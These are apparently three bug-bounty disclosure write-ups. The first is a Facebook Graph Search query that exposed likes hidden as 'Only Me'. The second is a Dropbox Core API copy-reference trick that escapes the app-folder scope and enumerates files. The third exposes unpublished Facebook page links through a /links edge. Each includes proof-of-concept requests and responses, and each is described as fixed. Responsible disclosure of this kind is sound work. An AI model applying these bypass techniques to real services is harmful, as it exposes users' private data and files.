Union of two sets exposed private data i.e bypassed privacy settings. Given an app’s visibility is set to Only Me, was still returned in result set.

eg. https://www.facebook.com/search/me/apps-used/4/apps-used/union

This returned me few applications which were used by me or Mark Zuckerberg. I demonstrated this vulnerability on my test accounts.

Getting Pages liked by user.

On user profile, a user is allowed to like pages which are of categories Apps and games, Movies, Tv shows, Music, Books, Sports, etc. Now, these pages are sorted according to categories and are addressed as individual elements. Books, Music, Sports are different entities and each entity has an option of privacy; an user can select any privacy for any entity.

eg. I visited this page (https://www.facebook.com/pranavhivarekar.hacker/games?pnref=lhc) and it showed me all sections and I was able to set different privacy to different sections and individual elements.

So, here I was able to extract any user’s personal information. It included Books he/she read, Movies he/she watched, etc. All the personal information was available via Graph Search, regardless of privacy settings.

To check whether a Tv show was liked by me. I used my another test account and fired the following query. My privacy settings for that page were set to Only Me.

Tv show : Taarak Mehta Ka ooltah Chashma

[https://www.facebook.com/search/100002065051535/pages-liked/str/Taarak%20Mehta%20Ka%20ooltah%20Chashma/keywords_pages/union](https://www.facebook.com/search/100002065051535/pages-liked/str/Taarak%20Mehta%20Ka%20ooltah%20Chashma/keywords_pages/union)

You can clearly see that Pranav Hivarekar likes this. Despite of privacy settings set to Only Me, it did got returned in search. I was able to do this for any random user on facebook.

Now, it is patched and it returns the following …

Special Thanks

I would like to thank Facebook Security Team to understand the bug and fix it. Also, all my friends for supporting me all over.

Timeline

Dec 1, 2015 - Report Sent
Dec 2, 2015 - Escalation by Facebook
Dec 2, 2015 - Additional information sent
Dec 5, 2015 - Additional information sent
Dec 13, 2015 - Pages Bug reported
Dec 16, 2015 - Asked for more information
Dec 18, 2015 - Additional information sent
Dec 18, 2015 - Asked for confirmation of fix
Dec 19, 2015 - More information sent to me by Facebook
Dec 20, 2015 - Not fixed confirmation by me
Jan 20, 2016 - Checked for updates
Jan 23, 2016 - Asked for confirmation of fix
Jan 23, 2016 - Not fixed confirmation by me
Feb 13, 2016 - Bug fixed
Feb 13, 2016 - Bounty awarded

Dropbox offers two Api’s …

1. Core Api (https://www.dropbox.com/developers/core)
2. Business Api (https://www.dropbox.com/developers/business)

Both the Api’s have different permission models i.e different and distinct scope permissions are available for both the apis.

I was testing the Core Api and I found pretty bad authorization bypass. Let me explain what was it ?
Also, I would like to add that this bug was open for almost 2 years from the initial launch of the api.

DropBox’s Core Api offers different scope permissions …
Refer (https://www.dropbox.com/developers/reference/devguide)

App Folder scope got my attention

A dedicated folder named after your app is created within the Apps folder of a user’s Dropbox. Your app gets read and write access to this folder only and users can provide content to your app by moving files into this folder.
In simple words, an app can access only the folder which is created by itself. It won’t have any access to other folders or root folder. So, an app can post/delete files ONLY in it’s folder.
eg. If Pranav’s app has created Pranav’s app folder then app can access ONLY that folder and nothing else.

*But I was able to circumvent this permission model and I was able to post files in any folder of my choice of dropbox.*

Proof Of Concept

This is completely logical attack …
Two steps were required to completely post files in other folders.

1. Create a file in app’s respective App Folder.
2. Create file’s copy reference.
3. Copy file to any folder using copy reference.

Request :
Creating copy reference of test.png which is already uploaded in App Folder

(Making copy_ref —>https://www.dropbox.com/developers/core/docs#copy_ref)

GET https://api.dropbox.com/1/copy_ref/auto/test.png?access_token=redacted

Response :

{"expires": "Sun, 30 Apr 2045 07:23:24 +0000", "copy_ref": "JipjFzJqMDZrdGhqNTRnZA"}

Copy reference successfully created.

Request :
Copying file test.png using copy reference to any folder.

(Copying file to a new location —-> https://www.dropbox.com/developers/core/docs#fileops-copy)

POST https://api.dropbox.com/1/fileops/copy?root=dropbox&from_copy_ref=JipjFzJqMDZrdGhqNTRnZA&to_path=/hacked.txt&access_token=redacted

Response :

{"rev": "206262a6317", "thumb_exists": false, "path": "/hacked.txt", "is_dir": false, "client_mtime": "Fri, 08 May 2015 06:03:20 +0000", "icon": "page_white_text", "bytes": 15110, "modified": "Fri, 08 May 2015 07:41:19 +0000", "size": "14.8 KB", "root": "app_folder", "mime_type": "text/plain", "revision": 518}

File got successfully copied to ‘root’ directory.

Vulnerable parameter is root=dropbox. Here, auto means it will directly point to the App Folder but dropbox means it starts pointing from root.

If file is already present with the name then it gave verbose errors. This allowed me to enumerate all files present in the dropbox.
eg. If test.png is already present in the root directory and we try to post file with same name then it will give verbose errors and Status 403 Forbidden which is a clear indication that file exists.

I successfully submitted this bug to Dropbox’s Flex which was hosted on Bugcrowd and won first prize.

Video Proof Of Concept

Special Thanks

First I would like to thank Philippe Harewood (http://philippeharewood.com/) for motivating all from his research on Facebook’s Api.

Later, I would like to convey my thanks to Bugcrowd for their supportiveness they showed towards me.

And lately, I would like to thank DropBox for successfully hosting their Flex Bounty. :-)

Cheers all- round ! :-)

The endpoint /me/links is undocumented. We cannot find documentation about how to deal with this endpoint. But combining few api calls we can create unpublished posts.

More information about creating unpublished posts can be found here.
It states that, “It is possible to add some content to the Graph without publishing a news feed or profile story indicating that it has been created. This is useful in a few situations, such as Page posts which are scheduled to go live at a particular time, or when a photo is to be used in a photo comment.”

This is very useful for page owners as UNPUBLISHED content will not be shown on page until published. Page admins or people having roles on pages can also schedule the posts to be published later.

After recursive testing, I observed that this edge(/{page-id}/links) is not obeying the rules of an unpublished content. When we create an UNPUBLISHED link via /me/links edge. Then it will be unpublished i.e it won’t be visible in feed and a profile story indicating that it has been created will not be shown. So, it is working good on the front end.

But any app or anyone can access the page. So, anyone with their access_token with public_profile permission can access the UNPUBLISHED links.
This can be done via /{page-id}/links edge.

Proof Of Concept

Request

POST /me/links?access_token=redacted

==published=0&message=created by testing&link=http://www.pranavhivarekar.in/ ==

Response
{ "id": "366040680262484" }

The link is published as unpublished. So, link is public at the moment but it is not shown or linked directly to the page. But there was flaw that allowed anyone with any access_token to view the unpublished links via /me/links endpoint. Now, it is patched and the unpublished links are only accessible to admins/editor or people having roles on pages and not to public.

Thanks to Facebook’s team for patching this vulnerability that allowed exposing of unpublished links via API.

Timeline

Apr 12, 2015 10:52pm – Report Sent
Apr 15, 2015 3:50am – Escalation by Facebook
May 7, 2015 11:44pm – Asked about confirmation of fix
May 8, 2015 12:01am – Fixed confirmed by me
May 9, 2015 05:20am – Bounty awarded by Facebook